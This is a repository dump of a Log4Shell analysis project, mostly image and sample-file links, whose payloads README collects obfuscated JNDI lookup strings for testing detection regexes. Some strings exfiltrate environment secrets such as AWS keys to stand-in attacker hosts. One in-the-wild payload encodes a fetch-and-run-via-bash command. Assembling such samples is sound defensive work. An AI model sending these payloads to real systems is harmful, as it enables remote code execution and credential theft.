https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/0de487df59902062298285c682c8c49d.png -------------------------------------------------------------------------------- /analysis/_resources/12986762049ae62e076290dc632b7c93.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/12986762049ae62e076290dc632b7c93.png -------------------------------------------------------------------------------- /analysis/_resources/1306e199154435e85f333b8075499760.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/1306e199154435e85f333b8075499760.png -------------------------------------------------------------------------------- /analysis/_resources/1758c686ff3a220a523359384d125920.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/1758c686ff3a220a523359384d125920.png -------------------------------------------------------------------------------- /analysis/_resources/177779480e61d8d50c8d29bc0713fc85.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/177779480e61d8d50c8d29bc0713fc85.png -------------------------------------------------------------------------------- /analysis/_resources/182157e3c3a155bc42191d0396061479.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/182157e3c3a155bc42191d0396061479.png -------------------------------------------------------------------------------- /analysis/_resources/18bfb79d74a6b813785b82b55647192a.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/18bfb79d74a6b813785b82b55647192a.png -------------------------------------------------------------------------------- /analysis/_resources/1cb74c7fa340bca9961a758a91e1c59a.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/1cb74c7fa340bca9961a758a91e1c59a.png -------------------------------------------------------------------------------- /analysis/_resources/1eb3f0dce6780f32a8bc8789b62d5bfa.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/1eb3f0dce6780f32a8bc8789b62d5bfa.png -------------------------------------------------------------------------------- /analysis/_resources/293347b0e4ebb96b5a32975ae4ecd323.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/293347b0e4ebb96b5a32975ae4ecd323.png -------------------------------------------------------------------------------- /analysis/_resources/3100adc4e79b2ce1d375d99ee9be2bab.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/3100adc4e79b2ce1d375d99ee9be2bab.png -------------------------------------------------------------------------------- /analysis/_resources/313927e3ba8f8a4626b3f35880d5ae2f.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/313927e3ba8f8a4626b3f35880d5ae2f.png -------------------------------------------------------------------------------- /analysis/_resources/3c0e46923da3c81f6f2ae672178030c1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/3c0e46923da3c81f6f2ae672178030c1.png -------------------------------------------------------------------------------- /analysis/_resources/424473a819335c8fb1e18ce048b4af06.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/424473a819335c8fb1e18ce048b4af06.png -------------------------------------------------------------------------------- /analysis/_resources/47b8e44f08dbdeb1fe643fae42ac3c2c.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/47b8e44f08dbdeb1fe643fae42ac3c2c.png -------------------------------------------------------------------------------- /analysis/_resources/4a7aba5e6f83ee9ada7b7717846717e8.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/4a7aba5e6f83ee9ada7b7717846717e8.png -------------------------------------------------------------------------------- /analysis/_resources/4a80de42803d382f0ffbf6ad5573cea3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/4a80de42803d382f0ffbf6ad5573cea3.png -------------------------------------------------------------------------------- /analysis/_resources/4de5250e68f96b02b3814994e8ba43df.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/4de5250e68f96b02b3814994e8ba43df.png -------------------------------------------------------------------------------- /analysis/_resources/4ee4ba67f0c8bc519ecff2b7ec2860ce.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/4ee4ba67f0c8bc519ecff2b7ec2860ce.png -------------------------------------------------------------------------------- /analysis/_resources/4f6331ce3e2fc85975b7578d724666e7.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/4f6331ce3e2fc85975b7578d724666e7.png -------------------------------------------------------------------------------- /analysis/_resources/518d2dbb1493aabfa352583aec24b324.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/518d2dbb1493aabfa352583aec24b324.png -------------------------------------------------------------------------------- /analysis/_resources/51ce94949b2ae7a6f6011a5a14e6ed39.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/51ce94949b2ae7a6f6011a5a14e6ed39.png -------------------------------------------------------------------------------- /analysis/_resources/5268409280f31de07a7013e234f572ea.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/5268409280f31de07a7013e234f572ea.png -------------------------------------------------------------------------------- /analysis/_resources/52b903901e23eaaa20e242d4c6027351.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/52b903901e23eaaa20e242d4c6027351.png -------------------------------------------------------------------------------- /analysis/_resources/52f988156938f762866840a2d46ee5d7.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/52f988156938f762866840a2d46ee5d7.png -------------------------------------------------------------------------------- /analysis/_resources/55b2ba138fb25f77a49f16a38f02456c.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/55b2ba138fb25f77a49f16a38f02456c.png -------------------------------------------------------------------------------- /analysis/_resources/55e511ab5ac499f13a17fe6bef094403.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/55e511ab5ac499f13a17fe6bef094403.png -------------------------------------------------------------------------------- /analysis/_resources/5709dcfc4b1138c2f1d66b53607fa23b.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/5709dcfc4b1138c2f1d66b53607fa23b.png -------------------------------------------------------------------------------- /analysis/_resources/5c78afd9a5886e5c6bb649789f9c97c8.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/5c78afd9a5886e5c6bb649789f9c97c8.png -------------------------------------------------------------------------------- /analysis/_resources/6471540616f2b56f3692c78377d1cec1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/6471540616f2b56f3692c78377d1cec1.png -------------------------------------------------------------------------------- /analysis/_resources/6f5cc1740684b40d24de1f53c2e8a3c2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/6f5cc1740684b40d24de1f53c2e8a3c2.png -------------------------------------------------------------------------------- /analysis/_resources/6fa251c292e09e04c1393746aad1060c.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/6fa251c292e09e04c1393746aad1060c.png -------------------------------------------------------------------------------- /analysis/_resources/70b4a3fd2f99f1d02481f2acf8813f90.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/70b4a3fd2f99f1d02481f2acf8813f90.png -------------------------------------------------------------------------------- /analysis/_resources/7cec2f3c5f772d1e0adda4da08246f83.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/7cec2f3c5f772d1e0adda4da08246f83.png -------------------------------------------------------------------------------- /analysis/_resources/7d7b37f3c825c3483732a60be2cbca20.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/7d7b37f3c825c3483732a60be2cbca20.png -------------------------------------------------------------------------------- /analysis/_resources/7d9659e6cd22bcfedcf4cf852945cae8.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/7d9659e6cd22bcfedcf4cf852945cae8.png -------------------------------------------------------------------------------- /analysis/_resources/7f28be35d6aa4538a70b5461f74d3520.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/7f28be35d6aa4538a70b5461f74d3520.png -------------------------------------------------------------------------------- /analysis/_resources/7fa7a02c858f9967703de2a338f3c5c2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/7fa7a02c858f9967703de2a338f3c5c2.png -------------------------------------------------------------------------------- /analysis/_resources/804db11902e68e9baa9379414d5feb71.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/804db11902e68e9baa9379414d5feb71.png -------------------------------------------------------------------------------- /analysis/_resources/82b95916d5692c64f8668e4adc79a7b2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/82b95916d5692c64f8668e4adc79a7b2.png -------------------------------------------------------------------------------- /analysis/_resources/854d06de3aa3257384be6bb094ea492e.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/854d06de3aa3257384be6bb094ea492e.png -------------------------------------------------------------------------------- /analysis/_resources/8844536be52b20f086f6d0287c55f7ea.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/8844536be52b20f086f6d0287c55f7ea.png -------------------------------------------------------------------------------- /analysis/_resources/8cc2027fbfd5b8fe770477fc99d94998.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/8cc2027fbfd5b8fe770477fc99d94998.png -------------------------------------------------------------------------------- /analysis/_resources/93627fbbb3394b65e79b09d83b6df868.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/93627fbbb3394b65e79b09d83b6df868.png -------------------------------------------------------------------------------- /analysis/_resources/956b6e4a081325eb02d67fb29722bce1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/956b6e4a081325eb02d67fb29722bce1.png -------------------------------------------------------------------------------- /analysis/_resources/9e65cb9876e62566315c7bca34151c61.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/9e65cb9876e62566315c7bca34151c61.png -------------------------------------------------------------------------------- /analysis/_resources/9f16f7df7f14f9091be31c8fdbbcbb27.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/9f16f7df7f14f9091be31c8fdbbcbb27.png -------------------------------------------------------------------------------- /analysis/_resources/9fc205bf45e2b9616f7138da0653139d.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/9fc205bf45e2b9616f7138da0653139d.png -------------------------------------------------------------------------------- /analysis/_resources/a1de449a38ac139e7dfe75905cd0c04d.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/a1de449a38ac139e7dfe75905cd0c04d.png -------------------------------------------------------------------------------- /analysis/_resources/aa8cf0fc8f2d4d0d117b53689886d486.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/aa8cf0fc8f2d4d0d117b53689886d486.png -------------------------------------------------------------------------------- /analysis/_resources/adbfbccf0c51fdc4ca4624730aa176e2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/adbfbccf0c51fdc4ca4624730aa176e2.png -------------------------------------------------------------------------------- /analysis/_resources/b02d8e797e7097bcf24e5fa2e28407e2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/b02d8e797e7097bcf24e5fa2e28407e2.png -------------------------------------------------------------------------------- /analysis/_resources/bca1d08014ebe058934ec05db8c4b851.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/bca1d08014ebe058934ec05db8c4b851.png -------------------------------------------------------------------------------- /analysis/_resources/be7dfc5206b50cb905251071df33c5d4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/be7dfc5206b50cb905251071df33c5d4.png -------------------------------------------------------------------------------- /analysis/_resources/c356976510c54f5452b8c4be28361e44.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/c356976510c54f5452b8c4be28361e44.png -------------------------------------------------------------------------------- /analysis/_resources/c5a8d0c6efb9cf44b2f0f1c5a929937b.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/c5a8d0c6efb9cf44b2f0f1c5a929937b.png -------------------------------------------------------------------------------- /analysis/_resources/ca8aa1934de265d795e1501f66a383c7.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/ca8aa1934de265d795e1501f66a383c7.png -------------------------------------------------------------------------------- /analysis/_resources/ce2500904ac46adffbebb93521119a80.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/ce2500904ac46adffbebb93521119a80.png -------------------------------------------------------------------------------- /analysis/_resources/d5a0ff95685ddb90d706daa375ae882e.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/d5a0ff95685ddb90d706daa375ae882e.png -------------------------------------------------------------------------------- /analysis/_resources/d90cdc0be28eb2de9b3d99027433b064.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/d90cdc0be28eb2de9b3d99027433b064.png -------------------------------------------------------------------------------- /analysis/_resources/e6450a22f6c1cd29f11228946fe00599.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/e6450a22f6c1cd29f11228946fe00599.png -------------------------------------------------------------------------------- /analysis/_resources/e930cf4a7c9e3ddf29a853ad9a99fec3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/e930cf4a7c9e3ddf29a853ad9a99fec3.png -------------------------------------------------------------------------------- /analysis/_resources/f10ca4a1152363b71641fcf6400557a9.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/f10ca4a1152363b71641fcf6400557a9.png -------------------------------------------------------------------------------- /analysis/_resources/f2b86462af2261f96c3753b03558242c.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/f2b86462af2261f96c3753b03558242c.png -------------------------------------------------------------------------------- /analysis/_resources/f7cb207ba192ba1c8b2a17f163b3ce21.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/f7cb207ba192ba1c8b2a17f163b3ce21.png -------------------------------------------------------------------------------- /payloads/README.md: -------------------------------------------------------------------------------- 1 | # Payload samples 2 | 3 | This is a list of [log4shell](https://nvd.nist.gov/vuln/detail/CVE-2021-44228) payloads seen on my twitter feeds. 4 | 5 | The goal is to allows testing detection regexes defined in protection systems. 6 | 7 | ## Sources & credits 8 | 9 | * https://twitter.com/h4x0r_dz/status/1469663187079417857/photo/1 10 | * https://twitter.com/ymzkei5/status/1469765165348704256 11 | * https://twitter.com/sirifu4k1/status/1469524530255511552 12 | * https://twitter.com/BountyOverflow/status/1470001858873802754 13 | * https://twitter.com/entropyqueen_/status/1469961345848299520 14 | * https://twitter.com/anthrax0/status/1470276303773663233 15 | * https://twitter.com/log4j2rce/status/1469799982630944770 16 | * https://twitter.com/11xuxx/status/1471236310299906050 17 | * https://twitter.com/11xuxx/status/1471826191724257285 18 | * https://twitter.com/arezthehopebust/status/1472252553626742785 19 | * https://github.com/projectdiscovery/nuclei-templates/pull/3334/files 20 | * https://github.com/PortSwigger/log4shell-scanner/blob/master/src/main/kotlin/burp/BurpExtender.kt#L70 21 | * https://github.com/Puliczek/CVE-2021-44228-PoC-log4j-bypass-words/blob/main/src/main/java/log4j.java 22 | * https://github.com/tangxiaofeng7/BurpLog4j2Scan/blob/master/src/main/java/burp/BurpExtender.java#L84 23 | * https://github.com/fullhunt/log4j-scan/blob/master/log4j-scan.py#L52 24 | * https://github.com/takito1812/log4j-detect/blob/main/log4j-detect.py#L9 25 | * https://docs.google.com/document/d/15V4EmDcOl4Mog5-If-Mv3-ZoRcf9-RsGSWlqYte3zho/edit 26 | * https://www.cyberkendra.com/2021/12/log4shell-advisory-resource-cheat-sheet.html 27 | * https://blog.talosintelligence.com/2021/12/apache-log4j-rce-vulnerability.html 28 | 29 | ## Value collections 30 | 31 | * https://github.com/Neo23x0/log4shell-detector/tree/main/tests/test-cases 32 | * https://github.com/whwlsfb/Log4j2Scan/tree/master/src/main/java/burp/poc/impl 33 | 34 | ## Values gathered 35 | 36 | > When a source was not an image then values provided were added to the list below. 37 | 38 | 💡 Note that `:/` instead of `://` is effective too. 39 | 40 | ```text 41 | ${j${k8s:k5:-ND}i${sd:k5:-:}ldap://mydogsbutt.com:1389/o} 42 | ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://1234.${hostName}.com} 43 | ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attacker_controled_website/payload_to_be_executed} 44 | ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://somesitehackerofhell.com/z} 45 | ${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://127.0.0.1:1389/ass} 46 | ${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://attacker_controled_website/payload_to_be_executed} 47 | ${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://{{callback_host}}/{{random}}}, 48 | ${${::-j}nd${::-i}: 49 | ${${::-j}ndi: 50 | ${${::-j}ndi:dns://${env:USERNAME}.c6roi3ia89k5kj1mes60cg5a1doyyyyyn.interactsh.com} 51 | ${${::-j}ndi:rmi://127.0.0.1:1389/ass} 52 | ${${::-j}ndi:rmi://{{callback_host}}/{{random}}}, 53 | ${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//somesitehackerofhell.com/z} 54 | ${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}attacker_controled_website/payload_to_be_executed} 55 | ${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//your.burpcollaborator.net/a} 56 | ${${env:TEST:-j}ndi${env:TEST:-:}${env:TEST:-l}dap${env:TEST:-:}attacker_controled_website/payload_to_be_executed} 57 | ${${lower:${lower:jndi}}:${lower:rmi}://a.s.d/poc} 58 | ${${lower:${lower:jndi}}:${lower:rmi}://{{callback_host/{{random}}}, 59 | ${${lower:jndi}:${lower:rmi}://dslepf.dnslog.cn/tem} 60 | ${${lower:jndi}:${lower:rmi}://q.w.e/poc} 61 | ${${lower:jndi}:${lower:rmi}://{{callback_Host}}/{{random}}}, 62 | ${${lower:jnd}${lower:${upper:ı}}:ldap://...} 63 | ${${lower:j}${lower:n}${lower:d}i:${lower:ldap}://xxx 64 | ${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://{{callback_host}}/{{random}}}, 65 | ${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://dslepf.dnslog.cn/tem} 66 | ${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://{{callback_host}}/{{random}}}, 67 | ${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attacker_controled_website/payload_to_be_executed} 68 | ${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://somesitehackerofhell.com/z} 69 | ${${upper:j}ndi:${upper:l}${upper:d}a${upper:p}://somesitehackerofhell.com/z} 70 | ${jndi:${lower:l}${lower:d}${lower:a}${lower:p}:// 71 | ${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://${hostName}.{{interactsh-url}}} 72 | ${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://1234.${hostName}.com} 73 | ${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://attacker_controled_website/payload_to_be_executed } 74 | ${jndi:${lower:l}${lower:d}a${lower:p}://attacker_controled_website/payload_to_be_executed} 75 | ${jndi:${lower:l}${lower:d}a${lower:p}://example.com/ 76 | ${jndi:${lower:l}${lower:d}ap://attacker_controled_website/payload_to_be_executed} 77 | ${jndi:dns://${env:COMPUTERNAME}.uedo81.dnslog.cn/a} 78 | ${jndi:dns://${env:USERDOMAIN}.qnfw43.dnslog.cn/a} 79 | ${jndi:dns://${hostName}.uedo81.dnslog.cn/a} 80 | ${jndi:dns://aeutbj.example.com/ext} 81 | ${jndi:dns://{{callback_host}}} 82 | ${jndi:ldap://${env:AWS_SECRET_ACCESS_KEY}.badserver.com} 83 | ${jndi:ldap://${env:JAVA_VERSION}.domain/a} 84 | ${jndi:ldap://${env:USER}.attacker.server/} 85 | ${jndi:ldap://${env:user}.uedo81.dnslog.cn/exp} 86 | ${jndi:ldap://${hostName}.domain/a} 87 | ${jndi:ldap://${sys:java.vendor}.domain/a} 88 | ${jndi:ldap://${sys:java.version}.domain/a} 89 | ${jndi:ldap://45.155.205[.]233[:]12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC9bdmljdGltIElQXTpbdmljdGltIHBvcnRdfHx3Z2V0IC1xIC1PLSA0NS4xNTUuMjA1LjIzMzo1ODc0L1t2aWN0aW0gSVBdOlt2aWN0aW0gcG9ydF0pfGJhc2gK} 90 | ${jndi:ldap://dslepf.dnslog.cn/exp} 91 | ${jndi:ldap://somesitehackerofhell.com/z} 92 | ${jndi:rmi://a.b.c} 93 | ${jndi:rmi://{{callback_host}}}, 94 | j${::-nD}i${::-:} 95 | j${EnV:K5:-nD}i: 96 | j${k8s:k5:-ND}i${sd:k5:-:} 97 | j${loWer:Nd}i${uPper::} 98 | j${main:\k5:-Nd}i${spring:k5:-:} 99 | j${sys:k5:-nD}${lower:i${web:k5:-:}} 100 | jn${date:}di${date:':'} 101 | jn${env::-}di: 102 | ${jnd${123%25ff:-${123%25ff:-i:}}ldap://mydogsbutt.com:1389/o} 103 | 127.0.0.1/${jndi:ldap://3y2i0ndknzu3ggcfrukjvhviy945su.burpcollaborator.net/${java:version}} 104 | ``` 105 | -------------------------------------------------------------------------------- /playground/BBlog4j - core - 2.14.1.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/playground/BBlog4j - core - 2.14.1.jar -------------------------------------------------------------------------------- /playground/dom4j-1.1.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/playground/dom4j-1.1.jar -------------------------------------------------------------------------------- /playground/ear files/HelloWorldApp.ear: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/playground/ear files/HelloWorldApp.ear -------------------------------------------------------------------------------- /playground/war files/Lab6A.war: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/playground/war files/Lab6A.war -------------------------------------------------------------------------------- /playground/war files/sample.war: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/playground/war files/sample.war -------------------------------------------------------------------------------- /sandbox/.idea/.gitignore: -------------------------------------------------------------------------------- 1 | # Default ignored files 2 | /shelf/ 3 | /workspace.xml 4 | -------------------------------------------------------------------------------- /sandbox/.idea/compiler.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | -------------------------------------------------------------------------------- /sandbox/.idea/dictionaries/drighetto.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | bcrypt 5 | transcoder 6 | 7 | 8 | -------------------------------------------------------------------------------- /sandbox/.idea/encodings.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /sandbox/.idea/jarRepositories.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 9 | 10 | 14 | 15 | 19 | 20 | -------------------------------------------------------------------------------- /sandbox/.idea/libraries/Maven__junit_junit_4_12.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /sandbox/.idea/libraries/Maven__org_apache_logging_log4j_log4j_api_2_16_0.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /sandbox/.idea/libraries/Maven__org_apache_logging_log4j_log4j_core_2_16_0.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /sandbox/.idea/libraries/Maven__org_hamcrest_hamcrest_core_1_3.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /sandbox/.idea/misc.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /sandbox/.idea/modules.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /sandbox/.idea/runConfigurations.xml: 